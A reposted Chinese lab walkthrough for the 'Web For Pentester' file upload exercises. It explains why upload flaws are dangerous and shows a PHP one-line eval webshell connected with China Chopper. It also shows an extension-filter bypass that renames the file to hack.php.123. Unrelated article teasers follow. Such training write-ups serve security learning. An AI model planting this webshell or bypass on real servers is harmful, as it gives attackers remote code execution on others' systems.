Web For Pentester -- File Upload

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。

文件上传导致的常见安全问题:

上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行;

上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);

上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;

上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈;

完成这个攻击需要的条件:

首先,上传的文件要能被Web容器解释执行,所以文件上传后所在目录要是Web容器所覆盖到的路径;

其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或无法通过Web容器解释这个脚本,那么不能称之为漏洞;

最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,可能导致攻击不成功;

 

Web For Pentester -- File Include

Example 1

上传php文件<?php echo phpinfo();?>输出关于 PHP 配置的信息

点击here即可查看配置信息

找到上传的文件路径,上传一句话木马<?php @eval($_POST['chopper']);?>

打开中国菜刀,连接成功

 

Example 2

上传文件

服务器的对文件的判断

  1. 服务端MIME 类型检测(检测Content-Type 内容)
  2. 服务端目录路径检测(检测跟path 参数相关的内容)、
  3. 服务端文件扩展名检测(检测跟文件extension 相关的内容)
  4. 服务端文件内容检测(检测内容是否合法或含有恶意代码)

BP抓包查看

不能上传php文件,修改后缀,将一句话木马改成hack.php.123(浏览器遇到不能识别的文件名后缀跳过)

上传文件,连接木马即可。

 

 

转载于:https://www.cnblogs.com/wanao/p/10976787.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/386689.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

组件化与插件化的差别在哪里?附面试题答案

前言 本人水平有限&#xff0c;此文针对于自认为技术实力对标阿里P7&#xff0c;百度T5或者以下的读者&#xff0c;如果是大佬不小心点进来了&#xff0c;可以自行点x略过。文内并不会出现每一家公司的面试过程细节&#xff0c;主要目的在于帮助大家怎么在像我一样菜的情况下在…

json转成类对象转成xml全过程

类对象 XStreamAlias("ROOT") public class ProjectBase implements BaseConverterBean {private ProjectInfo PROJECTINFO;public ProjectInfo getPROJECTINFO() {return PROJECTINFO;}public void setPROJECTINFO(ProjectInfo pROJECTINFO) {PROJECTINFO pROJECT…

细数Android开发者的艰辛历程,全网最新

前言 这篇文章主要是分享今年面试心得&#xff0c;现已就职于某大厂有三个月了&#xff0c;近期有很多公司均已启动秋招&#xff0c;也祝大家面试顺利&#xff0c;获得理想的offer&#xff01; 之前找工作的那段时间感想颇多&#xff0c;总结一点面试经验和人生思考分享给大家…

Mac安装nginx配置过程

mac电脑系统重装了&#xff0c;记录一下安装nginx的过程&#xff1a; 1、打开终端 2、安装Command Line tools xcode-select --install 3、安装brew命令 1 ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 4、安装…

2.用Python套用Excel模板,一键完成原亮样式

from xlutils.copy import copy import xlrd import xlwttem_excelxlrd.open_workbook(日统计.xls,formatting_infoTrue)tem_sheettem_excel.sheet_by_index(0)new_excelcopy(tem_excel) new_sheetnew_excel.get_sheet(0) new_sheet.write(2,1,12) new_sheet.write(3,1,18) new…

面试中Handler这些必备知识点你都知道吗?面试真题解析

前言 前几天去参加了一场面试。面试的题目大多很基础&#xff0c;有一道关于埋点的问题&#xff0c;面试官问我如果不用第三方SDK进行埋点&#xff0c;自己埋点的话&#xff0c;如何减少埋点对业务代码的入侵。 当时没想太多&#xff0c;就说创建一个 BaseView 类&#xff0c…

kubernetes对象之deployment

系列目录 简述 Deployment为Pod和ReplicaSet提供了一个声明式定义(declarative)方法&#xff0c;用来替代以前的ReplicationController来方便的管理应用。典型的应用场景包括&#xff1a; 定义Deployment来创建Pod和ReplicaSet滚动升级和回滚应用扩容和缩容暂停和继续Deploymen…

面试加分项!Android权限处理,手慢无

2021新的一年&#xff0c;开启新的征程&#xff0c;回顾2020&#xff0c;真是太“南”了。 从年初各大厂裁员&#xff0c;竟然成为一件理所应当的事情&#xff0c;到四月份 GitHub 上“996.ICU” 引起了大家的共鸣。即使我们兢兢业业“996”&#xff0c;但依旧难以抵御 35 岁时…

面试加分项!程序员工作2年月薪12K,附架构师必备技术详解

最近看到群里看到一个女生&#xff0c;讲述了她从开始选择Android&#xff0c;经过非常努力的学习和挣扎&#xff0c;然而最后面对当前的环境却不得不放弃。看完以后真的非常替她感觉惋惜&#xff0c;如果早几年入行可能结果会比现在好很多&#xff0c;但可惜&#xff0c;这就是…

物理机实时监控UI之grafana(SimpleJson)+gRPC

在时序分析及监控展示领域&#xff0c;Grafana无疑是开源解决方案中的翘楚&#xff0c;其灵活的插件机制&#xff0c;支持各种漂亮的面板、丰富的数据源以及强大的应用。典型的面板有Graph、Text、Singlestat、PieChart、Table、Histogram等&#xff0c;支持的数据源有ES、Grap…

Uva679

Dropping Balls UVA - 679 思路&#xff1a;和之前做的开关灯的题类似 只需要看小球的编号奇偶。 找规律就行&#xff0c;一直想推导出这个规律满足所有情况&#xff0c;但是没有想出来怎么推。 1 #include<bits/stdc.h>2 #define maxn 1053 #define LL long long4 usi…

面试大厂应该注意哪些问题?算法太TM重要了

前言 很多次小伙伴问到学习方法&#xff0c;我也很想写这样的一篇文章来跟大家讨论下关于学习方法这件事情。 其实学习方法这个事情&#xff0c;我没啥发言权&#xff0c;因为我自己本身都是没啥方法可言的&#xff0c;就瞎折腾那种&#xff0c;但是大家想看这样的一篇文章&a…

Spring Boot 与 Java 对应版本,以下表格由官方网站总结。

Spring Boot 与 Java 对应版本&#xff0c;以下表格由官方网站总结。 官网&#xff1a;https://spring.io/projects/spring-boot#learn https://docs.spring.io/spring-boot/docs/{verion}/reference/htmlsingle/ Go to [9. System Requirements] Sping BootSpring Framew…

Java开发环境之RabbitMQ

查看更多Java开发环境配置&#xff0c;请点击《Java开发环境配置大全》 捌章&#xff1a;RabbitMQ安装教程 1&#xff09;下载安装Erlang 官网下载&#xff1a;http://www.erlang.org&#xff0c;有时比较难访问进去 Windows版下载&#xff1a;http://www.erlang.org/download/…

Linux下GitLab的安装及使用

一、初始GitLab GitLab是利用Ruby on Rails一个开源的版本管理系统&#xff0c;实现一个自托管的Git项目仓库&#xff0c;可通过Web界面进行访问公开的或者私人项目。 与Github类似&#xff0c;GitLab能够浏览源代码&#xff0c;管理缺陷和注释。可以管理团队对仓库的访问&a…

面试大厂应该注意哪些问题?隔壁都馋哭了

前言 说起程序员人们的第一印象就是工资高、加班凶、话少钱多头发少。再加上现在科技互联网公司太吃香&#xff0c;bat、华为小米等公司程序员加班情况被广泛传播&#xff0c;程序员用生命在敲代码的印象刻在了很多人的心里。 与其它行业一样&#xff0c;凡是有高级和普通&…

元类(metaclass)

目录 一、引言二、什么是元类三、为什么用元类四、内置函数exec(储备)五、class创建类5.1 type实现六、自定义元类控制类的创建6.1 应用七、__call__(储备)八、__new__(储备)九、自定义元类控制类的实例化一十、自定义元类后类的继承顺序十一、练习一、引言 元类属于python面向…

Linux环境下使用rpm包安装GitLab

1.安装依赖环境 [rootgitlab ~]# yum install curl openssh-server postfix cronie 2.下载安装GitLab包 我安装的环境是Red Hat Enterprise Linux Server release 7.4 (Maipo) GitLab下载地址:https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7 以上是清华大学开源…

面试字节跳动Android工程师该怎么准备?深度解析,值得收藏

前言 Android高级架构师需要学习哪些知识呢&#xff1f; 下面总结一下我认为作为一个资深开发者需要掌握的技能点。 1.Android开发的几个阶段 我的10年开发生涯中&#xff0c;有9年都是做Android相关开发&#xff0c;以我个人的经历来看&#xff0c;Android开发市场分为以下…